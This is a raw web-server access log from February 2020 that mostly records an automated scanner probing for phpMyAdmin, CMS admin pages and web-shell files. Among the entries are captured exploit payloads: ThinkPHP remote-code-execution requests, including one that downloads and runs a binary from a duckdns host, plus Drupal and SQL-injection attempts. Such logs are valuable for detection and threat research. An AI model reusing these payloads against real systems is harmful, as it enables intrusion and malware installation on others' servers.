122.14.213.79 - - [13/Feb/2020:10:34:47 +0100] "GET /phpmyadmin/scripts/setup.php HTTP/1.1" 404 333 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
122.14.213.79 - - [13/Feb/2020:10:34:47 +0100] "GET /phpMyAdmin/scripts/setup.php HTTP/1.1" 404 333 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
122.14.213.79 - - [13/Feb/2020:10:34:48 +0100] "GET /scripts/db___.init.php HTTP/1.1" 404 327 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
122.14.213.79 - - [13/Feb/2020:10:34:49 +0100] "GET /phpmyadmin/scripts/db___.init.php HTTP/1.1" 404 338 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
122.14.213.79 - - [13/Feb/2020:10:34:49 +0100] "GET /phpMyAdmin/scripts/db___.init.php HTTP/1.1" 404 338 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
122.14.213.79 - - [13/Feb/2020:10:34:51 +0100] "GET /pma/scripts/setup.php HTTP/1.1" 404 326 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
122.14.213.79 - - [13/Feb/2020:10:34:51 +0100] "GET /PMA/scripts/setup.php HTTP/1.1" 404 326 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
122.14.213.79 - - [13/Feb/2020:10:34:51 +0100] "GET /myadmin/scripts/setup.php HTTP/1.1" 404 330 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
122.14.213.79 - - [13/Feb/2020:10:34:51 +0100] "GET /MyAdmin/scripts/setup.php HTTP/1.1" 404 330 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
122.14.213.79 - - [13/Feb/2020:10:34:52 +0100] "GET /pma/scripts/db___.init.php HTTP/1.1" 404 331 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
122.14.213.79 - - [13/Feb/2020:10:34:52 +0100] "GET /PMA/scripts/db___.init.php HTTP/1.1" 404 331 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
122.14.213.79 - - [13/Feb/2020:10:34:56 +0100] "GET /myadmin/scripts/db___.init.php HTTP/1.1" 404 335 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
122.14.213.79 - - [13/Feb/2020:10:34:56 +0100] "GET /MyAdmin/scripts/db___.init.php HTTP/1.1" 404 335 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
122.14.213.79 - - [13/Feb/2020:10:34:56 +0100] "GET /plugins/weathermap/editor.php HTTP/1.1" 404 334 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
122.14.213.79 - - [13/Feb/2020:10:34:57 +0100] "GET /cacti/plugins/weathermap/editor.php HTTP/1.1" 404 340 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
122.14.213.79 - - [13/Feb/2020:10:34:58 +0100] "GET /weathermap/editor.php HTTP/1.1" 404 326 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
122.14.213.79 - - [13/Feb/2020:10:35:01 +0100] "GET /index.php?s=%2f%69%6e%64%65%78%2f%5c%74%68%69%6e%6b%5c%61%70%70%2f%69%6e%76%6f%6b%65%66%75%6e%63%74%69%6f%6e&function=%63%61%6c%6c%5f%75%73%65%72%5f%66%75%6e%63%5f%61%72%72%61%79&vars[0]=%6d%645&vars[1][]=%48%65%6c%6c%6f%54%68%69%6e%6b%50%48%50 HTTP/1.1" 404 314 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
122.14.213.79 - - [13/Feb/2020:10:35:01 +0100] "GET /elrekt.php?s=%2f%69%6e%64%65%78%2f%5c%74%68%69%6e%6b%5c%61%70%70%2f%69%6e%76%6f%6b%65%66%75%6e%63%74%69%6f%6e&function=%63%61%6c%6c%5f%75%73%65%72%5f%66%75%6e%63%5f%61%72%72%61%79&vars[0]=%6d%645&vars[1][]=%48%65%6c%6c%6f%54%68%69%6e%6b%50%48%50 HTTP/1.1" 404 315 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
122.14.213.79 - - [13/Feb/2020:10:35:01 +0100] "GET /App/?content=die(md5(HelloThinkPHP)) HTTP/1.1" 404 309 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
122.14.213.79 - - [13/Feb/2020:10:35:01 +0100] "GET /index.php/module/action/param1/${@die(md5(HelloThinkPHP))} HTTP/1.1" 404 363 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
122.14.213.79 - - [13/Feb/2020:10:35:02 +0100] "GET /index.php?s=/module/action/param1/${@die(md5(HelloThinkPHP))} HTTP/1.1" 404 314 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
122.14.213.79 - - [13/Feb/2020:10:35:02 +0100] "GET /?a=fetch&content=<php>die(@md5(HelloThinkCMF))</php> HTTP/1.1" 200 1229 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
122.14.213.79 - - [13/Feb/2020:10:35:04 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
122.14.213.79 - - [13/Feb/2020:10:35:04 +0100] "GET /joomla/ HTTP/1.1" 404 312 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
122.14.213.79 - - [13/Feb/2020:10:35:04 +0100] "GET /Joomla/ HTTP/1.1" 404 312 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
122.14.213.79 - - [13/Feb/2020:10:35:05 +0100] "GET /?a=echo%20-n%20HelloNginx%7Cmd5sum HTTP/1.1" 200 1229 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
122.14.213.79 - - [13/Feb/2020:10:35:05 +0100] "GET /d7.php HTTP/1.1" 404 311 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
122.14.213.79 - - [13/Feb/2020:10:35:06 +0100] "GET /rxr.php HTTP/1.1" 404 312 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
122.14.213.79 - - [13/Feb/2020:10:35:06 +0100] "GET /1x.php HTTP/1.1" 404 311 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
122.14.213.79 - - [13/Feb/2020:10:35:07 +0100] "GET /home.php HTTP/1.1" 404 313 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
122.14.213.79 - - [13/Feb/2020:10:35:07 +0100] "GET /undx.php HTTP/1.1" 404 313 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
122.14.213.79 - - [13/Feb/2020:10:35:09 +0100] "GET /spider.php HTTP/1.1" 404 315 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
122.14.213.79 - - [13/Feb/2020:10:35:09 +0100] "GET /payload.php HTTP/1.1" 404 316 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
122.14.213.79 - - [13/Feb/2020:10:35:09 +0100] "GET /composers.php HTTP/1.1" 404 318 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
122.14.213.79 - - [13/Feb/2020:10:35:09 +0100] "GET /izom.php HTTP/1.1" 404 313 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
122.14.213.79 - - [13/Feb/2020:10:35:10 +0100] "GET /composer.php HTTP/1.1" 404 317 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
122.14.213.79 - - [13/Feb/2020:10:35:10 +0100] "GET /hue2.php HTTP/1.1" 404 313 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
122.14.213.79 - - [13/Feb/2020:10:35:11 +0100] "GET /Drupal.php HTTP/1.1" 404 315 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
122.14.213.79 - - [13/Feb/2020:10:35:11 +0100] "GET /lang.php?f=1 HTTP/1.1" 404 313 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
122.14.213.79 - - [13/Feb/2020:10:35:11 +0100] "GET /izom.php HTTP/1.1" 404 313 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
122.14.213.79 - - [13/Feb/2020:10:35:12 +0100] "GET /payload.php HTTP/1.1" 404 316 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
122.14.213.79 - - [13/Feb/2020:10:35:12 +0100] "GET /new_license.php HTTP/1.1" 404 320 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
122.14.213.79 - - [13/Feb/2020:10:35:12 +0100] "GET /images/!.php HTTP/1.1" 404 317 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
122.14.213.79 - - [13/Feb/2020:10:35:13 +0100] "GET /images/vuln.php HTTP/1.1" 404 320 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
122.14.213.79 - - [13/Feb/2020:10:35:16 +0100] "GET /hd.php HTTP/1.1" 404 311 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
122.14.213.79 - - [13/Feb/2020:10:35:16 +0100] "GET /images/up.php HTTP/1.1" 404 318 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
122.14.213.79 - - [13/Feb/2020:10:35:16 +0100] "GET /images/attari.php HTTP/1.1" 404 322 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
122.14.213.79 - - [13/Feb/2020:10:35:16 +0100] "GET /images/jsspwneed.php HTTP/1.1" 404 325 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
122.14.213.79 - - [13/Feb/2020:10:35:17 +0100] "GET /images/stories/cmd.php HTTP/1.1" 404 327 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
122.14.213.79 - - [13/Feb/2020:10:35:20 +0100] "GET /images/stories/filemga.php?ssp=RfVbHu HTTP/1.1" 404 331 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
122.14.213.79 - - [13/Feb/2020:10:35:20 +0100] "GET /up.php HTTP/1.1" 404 311 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
122.14.213.79 - - [13/Feb/2020:10:35:20 +0100] "GET /laravel.php HTTP/1.1" 404 316 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
122.14.213.79 - - [13/Feb/2020:10:35:21 +0100] "GET /huoshan.php HTTP/1.1" 404 316 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
122.14.213.79 - - [13/Feb/2020:10:35:21 +0100] "GET /yu.php HTTP/1.1" 404 311 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
122.14.213.79 - - [13/Feb/2020:10:35:21 +0100] "GET /floaw.php HTTP/1.1" 404 314 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
122.14.213.79 - - [13/Feb/2020:10:35:22 +0100] "GET /ftmabc.php HTTP/1.1" 404 315 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
122.14.213.79 - - [13/Feb/2020:10:35:23 +0100] "GET /doudou.php HTTP/1.1" 404 315 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
212.91.246.72 - - [13/Feb/2020:10:35:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
122.14.213.79 - - [13/Feb/2020:10:35:29 +0100] "GET /mjx.php HTTP/1.1" 404 312 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
122.14.213.79 - - [13/Feb/2020:10:35:30 +0100] "GET /xiaoxia.php HTTP/1.1" 404 316 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
122.14.213.79 - - [13/Feb/2020:10:35:31 +0100] "GET /yuyang.php HTTP/1.1" 404 315 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
122.14.213.79 - - [13/Feb/2020:10:35:31 +0100] "GET /zz.php HTTP/1.1" 404 311 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
122.14.213.79 - - [13/Feb/2020:10:35:31 +0100] "GET /coonig.php HTTP/1.1" 404 315 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
122.14.213.79 - - [13/Feb/2020:10:35:32 +0100] "GET /ak.php HTTP/1.1" 404 311 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
122.14.213.79 - - [13/Feb/2020:10:35:44 +0100] "GET /baidoubi.php HTTP/1.1" 404 317 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
122.14.213.79 - - [13/Feb/2020:10:35:44 +0100] "GET /hhhhhh.php HTTP/1.1" 404 315 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
122.14.213.79 - - [13/Feb/2020:10:35:47 +0100] "GET /meijianxue.php HTTP/1.1" 404 319 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
122.14.213.79 - - [13/Feb/2020:10:35:47 +0100] "GET /no1.php HTTP/1.1" 404 312 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
122.14.213.79 - - [13/Feb/2020:10:35:48 +0100] "GET /python.php HTTP/1.1" 404 315 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
122.14.213.79 - - [13/Feb/2020:10:35:48 +0100] "GET /woshimengmei.php HTTP/1.1" 404 321 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
122.14.213.79 - - [13/Feb/2020:10:35:48 +0100] "GET /indea.php HTTP/1.1" 404 314 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
122.14.213.79 - - [13/Feb/2020:10:35:49 +0100] "GET /taisui.php HTTP/1.1" 404 315 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
122.14.213.79 - - [13/Feb/2020:10:35:49 +0100] "GET /xiaxia.php HTTP/1.1" 404 315 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
122.14.213.79 - - [13/Feb/2020:10:35:49 +0100] "GET /kk.php HTTP/1.1" 404 311 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
122.14.213.79 - - [13/Feb/2020:10:35:49 +0100] "GET /xsser.php HTTP/1.1" 404 314 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
122.14.213.79 - - [13/Feb/2020:10:35:50 +0100] "GET /zzz.php HTTP/1.1" 404 312 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
122.14.213.79 - - [13/Feb/2020:10:35:50 +0100] "GET /99.php HTTP/1.1" 404 311 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
122.14.213.79 - - [13/Feb/2020:10:35:50 +0100] "GET /dp.php HTTP/1.1" 404 311 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
122.14.213.79 - - [13/Feb/2020:10:35:50 +0100] "GET /hs.php HTTP/1.1" 404 311 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
122.14.213.79 - - [13/Feb/2020:10:35:51 +0100] "GET /1ts.php HTTP/1.1" 404 312 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
122.14.213.79 - - [13/Feb/2020:10:35:51 +0100] "GET /haiyan.php HTTP/1.1" 404 315 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
122.14.213.79 - - [13/Feb/2020:10:35:51 +0100] "GET /phpdm.php HTTP/1.1" 404 314 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
122.14.213.79 - - [13/Feb/2020:10:35:52 +0100] "GET /root.php HTTP/1.1" 404 313 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
122.14.213.79 - - [13/Feb/2020:10:35:52 +0100] "GET /5678.php HTTP/1.1" 404 313 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
122.14.213.79 - - [13/Feb/2020:10:35:56 +0100] "GET /root11.php HTTP/1.1" 404 315 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
122.14.213.79 - - [13/Feb/2020:10:35:57 +0100] "GET /xiu.php HTTP/1.1" 404 312 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
122.14.213.79 - - [13/Feb/2020:10:36:04 +0100] "POST /wuwu11.php HTTP/1.1" 404 315 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Trident/4.0)"
212.91.246.72 - - [13/Feb/2020:10:36:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
122.14.213.79 - - [13/Feb/2020:10:36:32 +0100] "POST /xw1.php HTTP/1.1" 404 312 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Trident/4.0)"
122.14.213.79 - - [13/Feb/2020:10:37:04 +0100] "POST /wc.php HTTP/1.1" 404 311 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Trident/4.0)"
66.249.64.89 - - [13/Feb/2020:10:37:10 +0100] "GET /robots.txt HTTP/1.1" 404 334 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
66.249.64.85 - - [13/Feb/2020:10:37:10 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.96 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
212.91.246.72 - - [13/Feb/2020:10:37:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
122.14.213.79 - - [13/Feb/2020:10:37:28 +0100] "POST /xx.php HTTP/1.1" 404 311 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Trident/4.0)"
31.162.193.105 - - [13/Feb/2020:10:37:45 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
122.14.213.79 - - [13/Feb/2020:10:37:52 +0100] "POST /xx.php HTTP/1.1" 404 311 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Trident/4.0)"
122.14.213.79 - - [13/Feb/2020:10:38:16 +0100] "POST /s.php HTTP/1.1" 404 310 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Trident/4.0)"
42.117.20.78 - - [13/Feb/2020:10:38:22 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [13/Feb/2020:10:38:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
122.14.213.79 - - [13/Feb/2020:10:38:44 +0100] "POST /w.php HTTP/1.1" 404 310 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Trident/4.0)"
122.14.213.79 - - [13/Feb/2020:10:39:16 +0100] "GET /secure/ContactAdministrators!default.jspa HTTP/1.1" 404 346 "-" "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
122.14.213.79 - - [13/Feb/2020:10:39:16 +0100] "GET /weaver/bsh.servlet.BshServlet HTTP/1.1" 404 334 "-" "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
122.14.213.79 - - [13/Feb/2020:10:39:16 +0100] "GET /solr/ HTTP/1.1" 404 310 "-" "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
122.14.213.79 - - [13/Feb/2020:10:39:18 +0100] "POST /index.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.108 Safari/537.36"
212.91.246.72 - - [13/Feb/2020:10:39:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
122.14.213.79 - - [13/Feb/2020:10:39:40 +0100] "POST /%75%73%65%72/%72%65%67%69%73%74%65%72?%65%6c%65%6d%65%6e%74%5f%70%61%72%65%6e%74%73=%74%69%6d%65%7a%6f%6e%65%2f%74%69%6d%65%7a%6f%6e%65%2f%23%76%61%6c%75%65&%61%6a%61%78%5f%66%6f%72%6d=1&%5f%77%72%61%70%70%65%72%5f%66%6f%72%6d%61%74=%64%72%75%70%61%6c%5f%61%6a%61%78 HTTP/1.1" 404 318 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.108 Safari/537.36"
122.14.213.79 - - [13/Feb/2020:10:40:07 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0"
212.91.246.72 - - [13/Feb/2020:10:40:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
122.14.213.79 - - [13/Feb/2020:10:40:36 +0100] "GET /Joomla/ HTTP/1.1" 404 312 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0"
122.14.213.79 - - [13/Feb/2020:10:41:00 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0"
212.91.246.72 - - [13/Feb/2020:10:41:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
122.14.213.79 - - [13/Feb/2020:10:41:28 +0100] "GET /Joomla/ HTTP/1.1" 404 312 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0"
122.14.213.79 - - [13/Feb/2020:10:41:56 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0"
122.14.213.79 - - [13/Feb/2020:10:42:20 +0100] "GET /joomla/ HTTP/1.1" 404 312 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0"
212.91.246.72 - - [13/Feb/2020:10:42:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
122.14.213.79 - - [13/Feb/2020:10:42:44 +0100] "GET /Joomla/ HTTP/1.1" 404 312 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0"
122.14.213.79 - - [13/Feb/2020:10:43:08 +0100] "POST /%75%73%65%72%2e%70%68%70 HTTP/1.1" 404 313 "554fcae493e564ee0dc75bdf2ebf94caads|a:3:{s:2:\"id\";s:3:\"'/*\";s:3:\"num\";s:141:\"*/ union select 1,0x272F2A,3,4,5,6,7,8,0x7b247b24524345275d3b6469652f2a2a2f286d6435284449524543544f52595f534550415241544f5229293b2f2f7d7d,0--\";s:4:\"name\";s:3:\"ads\";}554fcae493e564ee0dc75bdf2ebf94ca" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Trident/4.0)"
122.14.213.79 - - [13/Feb/2020:10:43:08 +0100] "GET /index.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:57.0) Gecko/20100101 Firefox/57.0"
122.14.213.79 - - [13/Feb/2020:10:43:09 +0100] "GET /phpmyadmin/index.php HTTP/1.1" 404 325 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:57.0) Gecko/20100101 Firefox/57.0"
122.14.213.79 - - [13/Feb/2020:10:43:09 +0100] "GET /phpMyAdmin/index.php HTTP/1.1" 404 325 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:57.0) Gecko/20100101 Firefox/57.0"
122.14.213.79 - - [13/Feb/2020:10:43:10 +0100] "GET /pmd/index.php HTTP/1.1" 404 318 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:57.0) Gecko/20100101 Firefox/57.0"
122.14.213.79 - - [13/Feb/2020:10:43:10 +0100] "GET /pma/index.php HTTP/1.1" 404 318 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:57.0) Gecko/20100101 Firefox/57.0"
122.14.213.79 - - [13/Feb/2020:10:43:12 +0100] "GET /PMA/index.php HTTP/1.1" 404 318 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:57.0) Gecko/20100101 Firefox/57.0"
122.14.213.79 - - [13/Feb/2020:10:43:12 +0100] "GET /PMA2/index.php HTTP/1.1" 404 319 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:57.0) Gecko/20100101 Firefox/57.0"
122.14.213.79 - - [13/Feb/2020:10:43:12 +0100] "GET /pmamy/index.php HTTP/1.1" 404 320 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:57.0) Gecko/20100101 Firefox/57.0"
122.14.213.79 - - [13/Feb/2020:10:43:13 +0100] "GET /pmamy2/index.php HTTP/1.1" 404 321 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:57.0) Gecko/20100101 Firefox/57.0"
122.14.213.79 - - [13/Feb/2020:10:43:13 +0100] "GET /mysql/index.php HTTP/1.1" 404 320 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:57.0) Gecko/20100101 Firefox/57.0"
122.14.213.79 - - [13/Feb/2020:10:43:13 +0100] "GET /admin/index.php HTTP/1.1" 404 320 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:57.0) Gecko/20100101 Firefox/57.0"
122.14.213.79 - - [13/Feb/2020:10:43:13 +0100] "GET /db/index.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:57.0) Gecko/20100101 Firefox/57.0"
122.14.213.79 - - [13/Feb/2020:10:43:14 +0100] "GET /dbadmin/index.php HTTP/1.1" 404 322 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:57.0) Gecko/20100101 Firefox/57.0"
122.14.213.79 - - [13/Feb/2020:10:43:15 +0100] "GET /web/phpMyAdmin/index.php HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:57.0) Gecko/20100101 Firefox/57.0"
122.14.213.79 - - [13/Feb/2020:10:43:15 +0100] "GET /admin/pma/index.php HTTP/1.1" 404 324 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:57.0) Gecko/20100101 Firefox/57.0"
122.14.213.79 - - [13/Feb/2020:10:43:17 +0100] "GET /admin/PMA/index.php HTTP/1.1" 404 324 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:57.0) Gecko/20100101 Firefox/57.0"
122.14.213.79 - - [13/Feb/2020:10:43:18 +0100] "GET /admin/mysql/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:57.0) Gecko/20100101 Firefox/57.0"
122.14.213.79 - - [13/Feb/2020:10:43:18 +0100] "GET /admin/mysql2/index.php HTTP/1.1" 404 327 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:57.0) Gecko/20100101 Firefox/57.0"
122.14.213.79 - - [13/Feb/2020:10:43:19 +0100] "GET /admin/phpmyadmin/index.php HTTP/1.1" 404 331 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:57.0) Gecko/20100101 Firefox/57.0"
122.14.213.79 - - [13/Feb/2020:10:43:20 +0100] "GET /admin/phpMyAdmin/index.php HTTP/1.1" 404 331 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:57.0) Gecko/20100101 Firefox/57.0"
122.14.213.79 - - [13/Feb/2020:10:43:20 +0100] "GET /admin/phpmyadmin2/index.php HTTP/1.1" 404 332 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:57.0) Gecko/20100101 Firefox/57.0"
